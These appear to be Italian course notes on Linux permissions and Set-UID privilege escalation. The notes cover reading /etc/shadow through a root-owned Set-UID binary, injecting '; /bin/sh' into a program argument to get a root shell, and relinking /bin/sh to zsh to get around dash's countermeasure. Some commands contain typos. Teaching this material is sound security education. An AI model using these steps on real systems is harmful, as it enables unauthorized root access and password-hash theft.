Capitolo 14

Shelloshock

14.1 Comandi Linux

- **Aggiungere Utenti**: from /etc/password file or *add user*. Ogni Utente ha un Unique ID e può appartenere a uno o più gruppi → definisce autorizzazioni.
- **Cambiare Utente**: *su user_name*
- **Creare Gruppo**: *sudo groupadd group_name*
- **Aggiungere Utente a Gruppo**: *sudo usermode -a -G group_name user_name*
- **Composizione Gruppi**: from /etc/group (/etc/sudoers) file or *groups* or *id*

14.2 Tipi di Accessi a File e Directory

- **R: READ - 4**
- **W: WRITE - 2**
- **X: EXECUTE - 1**

14.3 Programmi Privilegiati: Set-UID

- **Demoni**
  - processo eseguito in background, solo come root o altri utenti privilegiati.
- **Programmi Set-UID**
  - Ampiamente utilizzati nei sistemi UNIX, programma contrassegnato con un bit speciale.

14.4 Attacchi Basati su Set-UID

Meccanismo Set-UID: l'utente esegue un processo con i privilegi del proprietario del programma.

14.4.1 Privilege Escalation to execute programs:

- `cp /bin/cat ./mycat`: crea il programma `mycat` come copia di `cat`.
- `sudo chown root mycat`: cambia il proprietario di `mycat` a `root`.
- `mycat /etc/shadow`: non eseguito poiché `mycat` non ha i privilegi Set-UID.
- `sudo chmod 4755 mycat`: abilita bit Set-UID per `mycat` ($4 \rightarrow$ *EUID = RUID Process Owner*).
- `mycat /etc/shadow`: ora eseguito con privilegi elevati, consentendo l'accesso a `/etc/shadow`.

Se il programma è di proprietà di `root`, viene eseguito con i privilegi massimi (EUID = 0). Il controllo degli accessi si basa sull'EUID $\rightarrow$ identifica i privilegi del processo eseguito.

14.4.2 Privilege escalation to root shell:

- `gcc -o catall catall.c`: compila il file sorgente e genera un eseguibile chiamato `catall`.
- `sudo chown root catall`: cambia il proprietario di `catall` a `root`.
- `catall /etc/shadow`: non eseguito poiché `catall` non ha i privilegi Set-UID.
- `sudo chmod 4755 catall`: abilita bit Set-UID per `catall` ($4 \rightarrow$ *EUID = RUID Process Owner*).
- `catall /etc/shadow`: ora eseguito con privilegi elevati, consentendo l'accesso a `/etc/shadow`.
- `catall "random; /bin/sh"`: esegue il programma `catall` passando come secondo arg */bin/sh* per ottenere una shell di root se il programma è eseguito con privilegi Set-UID.

Nota: In Ubuntu 16.04, `/bin/sh` punta a `/bin/dash`, che ha una contromisura:

- il programma perde i privilegi quando viene eseguito all'interno di un processo Set-UID.

Pertanto, nell'attacco descritto, otterremo solo una shell normale. Per rimuovere questa contromisura, è possibile eseguire le seguenti operazioni:

- `sudo -ln -sf /bin/zsh /bin/sh`: prima dell'exploit, creazione link simbolico di `sh` a `zsh`:
  - **zsh non ha la stessa contromisura**
- `sudo -ln -sf /bin/dash /bin/sh`: dopo l'exploit, ripristino link simbolico originale.